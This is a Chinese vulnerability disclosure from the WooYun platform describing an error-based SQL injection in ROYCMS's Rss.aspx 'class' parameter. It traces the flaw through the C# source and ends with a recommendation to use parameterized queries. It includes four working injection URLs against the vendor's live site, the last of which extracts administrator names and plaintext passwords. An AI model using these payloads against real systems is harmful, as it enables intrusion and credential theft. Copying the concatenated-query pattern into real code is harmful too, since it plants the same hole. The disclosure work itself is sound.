当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021098

漏洞标题：ROYCMS漏洞之四，错误回显的SQL注入漏洞，直接秒杀管理员密码，部分用户密码明文存储

相关厂商：roycms.cn

漏洞作者： wefgod

提交时间：2013-04-01 22:25

修复时间：2013-06-30 22:26

公开时间：2013-06-30 22:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-01： 细节已通知厂商并且等待厂商处理中
2013-04-01： 厂商已经确认，细节仅向厂商公开
2013-04-04： 细节向第三方安全合作伙伴开放
2013-05-26： 细节向核心白帽子及相关领域专家公开
2013-06-05： 细节向普通白帽子公开
2013-06-15： 细节向实习白帽子公开
2013-06-30： 细节向公众公开

简要描述：

上次第三个漏洞被忽视了，真伤心。这次主要从代码上简单看看这套CMS的一个注入问题。当然了，服务器的狗狗挺碍事的，不过好在是老版本，基本上是畅通无阻的。其它请看后面的说明（别怪我标题长，对不住各位的眼睛了……）

详细说明：

问题文件：ROYcms.UI.Admin\App_Api\Rss.aspx.cs
主要是参数class产生的问题

if (Request["class"] != null){
DataSet ds = ___ROYcms_news_Bll.GetList(" classname='" + Request["class"] + "' ");
…}


另外，在该文件中可以看见该Rss类继承的是ROYcms.BasePage这个父类，在BasePage.cs中可以看见___ROYcms_news_Bll的定义为：

public ROYcms.Sys.BLL.ROYcms_news ___ROYcms_news_Bll = new ROYcms.Sys.BLL.ROYcms_news();


在ROYcms.Sys\BLL下找到ROYcms_news.cs文件，其中可以看见GetList方法的相关信息：

public DataSet GetList(string strWhere)
{	return dal.GetList(strWhere);	}


Dal的定义为：

private readonly ROYcms.Sys.DAL.ROYcms_news dal=new ROYcms.Sys.DAL.ROYcms_news();


在ROYcms.Sys\Dal下找到ROYcms_news.cs文件，进一步找到GetList方法：

public DataSet GetList(string strWhere)
{
     StringBuilder strSql = new StringBuilder();
     strSql.Append("select * ");
     strSql.Append(" FROM "+PubConstant.date_prefix+"news ");
     if (strWhere.Trim() != "")
     {
          strSql.Append(" where " + strWhere);
      }
      return ROYcms.DB.DbHelpers.GetDataSet(strSql.ToString());
}


这是一个利用StringBuilder拼凑起来的sql查询，会产生SQL是毫无疑问的，下一步就回到官网测试

漏洞证明：

测试1：
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and @@version>0 and '1'='1

.jpg


测试2：
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and user>0 and '1'='1

1.jpg


测试3：
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and (select top 1 name from ROYcms_user)>0 and '1'='1

2.jpg


测试4：
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and (select top 1 password from ROYcms_user)>0 and '1'='1
（明文密码，具体不贴图了）

修复方案：

过滤或者参数化的查询。在某些地方是参数化查询了，但是在这没有用上

版权声明：转载请注明来源 wefgod@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-04-01 23:15

厂商回复：

------------

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-02 07:09 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

    此页面有问题？

  2. 2013-05-02 11:00 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @廷廷 什么意思？

  3. 2013-05-02 14:21 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

    @wefgod 2013-04-21： 细节向普通白帽子公开，可我只是实习的，却能看到内容。。。

  4. 2013-05-02 14:36 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

    @wefgod 2013-04-21： 细节向普通白帽子公开，可我只是实习的，却能看到内容。。。

  5. 2013-05-02 15:09 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @廷廷 哈哈，这样啊，@xsser 剑心大牛求解释。

  6. 2013-05-02 16:34 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @廷廷 @wefgod hi 抱歉，已经修复了 在调整那个通用漏洞流程，所以时间显示上会有10天的延迟，实际上也没有造成影响，谢谢！ ：）

  7. 2013-05-02 17:58 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @xsser 辛苦了

  8. 2014-04-09 12:06 | Sleshep ( 路人 | Rank:2 漏洞数:1 | 隼)

    都1年了,还没修复啊,注入点还在呢@xsser

  9. 2014-04-09 12:11 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Sleshep 厂商不打算修复了，随他吧